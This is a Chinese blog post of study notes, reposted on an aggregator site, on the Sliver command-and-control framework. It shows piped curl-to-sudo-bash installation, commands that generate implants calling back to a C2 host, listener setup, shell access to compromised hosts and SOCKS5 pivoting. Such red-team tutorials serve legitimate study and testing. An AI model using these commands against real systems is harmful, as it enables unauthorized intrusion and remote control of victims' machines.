码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 学习笔记-sliver


    sliver


    免责声明

    本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.


    项目地址

    • https://github.com/BishopFox/sliver

    使用文档

    • https://github.com/BishopFox/sliver/wiki

    相关文章

    • sliver c2代码的学习

    安装

    官方一条命令版

    1. # 安装
    2. curl https://sliver.sh/install|sudo bash
    3. # 连接(默认连接本地服务器)
    4. sliver
    5. # 如果默认连接本地失败,可能是服务没有开启,手动开启再连接即可
    6. systemctl start sliver
    7. sliver

    使用

    连接服务器后会进去到类似 pupy 的命令行交互界面,使用方法其实差不多

    sliver 自 1.5 版本开始,支持2种操作模式 Session Mode/Beacon Mode

    Beacon Mode 实现了一种异步通信方式,在这种方式中,木马程序定期检查服务器检索任务、执行它们并返回结果。

    Session Mode 木马程序将根据底层 C2 协议使用持久连接或使用长轮询创建交互式实时会话。

    生成 shell (http)

    Session Mode

    1. generate -h
    2. generate --http example.com --save /tmp
    3. # 指定平台
    4. generate --http example.com --save /tmp --os win
    5. generate --http example.com --save /tmp --os linux

    Beacon Mode

    generate beacon --http example.com --save /tmp

    启动监听器

    1. http -h
    2. http --domain example.com
    3. # 查看当前的监听器
    4. jobs
    5. # 关闭监听器
    6. jobs -k [int]

    示例

    比如我服务器的外网 ip 为 1.14.5.14 ,监听器在 1919 端口,生成一个 windows 的木马

    1. generate --http http://1.14.5.14:1919 --save /tmp --os win
    2. # 开启一个基于 http 1919 端口的C2
    3. http -l 1919

    生成 shell (mtls)

    generate --mtls example.com --save /tmp --os win

    启动监听器

    1. mtls
    2. jobs

    进入 shell

    当有主机上线后,控制台会有log提示,我们可以运行 sessions 查看可控制的机器列表

    sessions

    使用 use 后面跟 session id 指定要控制的目标主机

    use [session id]

    选中 sessions 后,我们可用2种控制模式

    interactive

    交互式会话,在 sliver 中某些命令,例如 shell portfwd 仅适用于交互式会话

    1. # 在选中 sessions 后 (仅beacon模式可用)
    2. interactive
    3. close

    shell

    1. # 在选中 sessions 后
    2. shell

    socks5

    • https://github.com/BishopFox/sliver/wiki/Reverse-SOCKS
    • https://github.com/BishopFox/sliver/tree/master/client/command/socks

    开启 socks5 代理

    1. # 在进入 sessions 后 (仅 session 模式可用)
    2. socks5 start
    3. # 默认监听在 127.0.0.1 可自行指定监听的ip、端口、配置socks5认证
    4. socks5 start --help

    关闭 socks5 代理

    socks5 stop -i [ID]

    多人运动

    • https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode

    服务端

    /root/sliver-server operator --name f8x --lhost [服务端ip] --save f8x.cfg

    用户端

    1. # 导入服务端生成的配置文件
    2. sliver import ./f8x.cfg
    3. # 再次启动会让你选择使用哪个 server
    4. sliver

    GUI

    • https://github.com/BishopFox/sliver-gui

    使用和命令行 client 端一样,从服务端下载 cfg 文件导入即可

    点击关注,共同学习!安全狗的自我修养

    github haidragon

    https://github.com/haidragon

  • 相关阅读:
    计算机系统(13)----- 进程的调度和切换
    MySQL索引及事物
    自动驾驶感知算法实战12——BEV 基于图像/Lidar/多模态数据的3D检测与分割任务
    【工程光学】几何光学基本定律&成像概念
    防火墙nat策略实验和多出口实验和智能选路实验
    No6-5.从零搭建spring-cloud-alibaba微服务框架,添加用户鉴权逻辑,操作权限等(五,no6-5)
    vue实现词云图(echarts/Highcharts)
    ADSP-21569/ADSP-21593的开发入门(下)
    项目管理(影响项目的项目环境和管理过程)
    点击百度网盘安装包无反应
  • 原文地址:https://blog.csdn.net/sinat_35360663/article/details/127664637
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号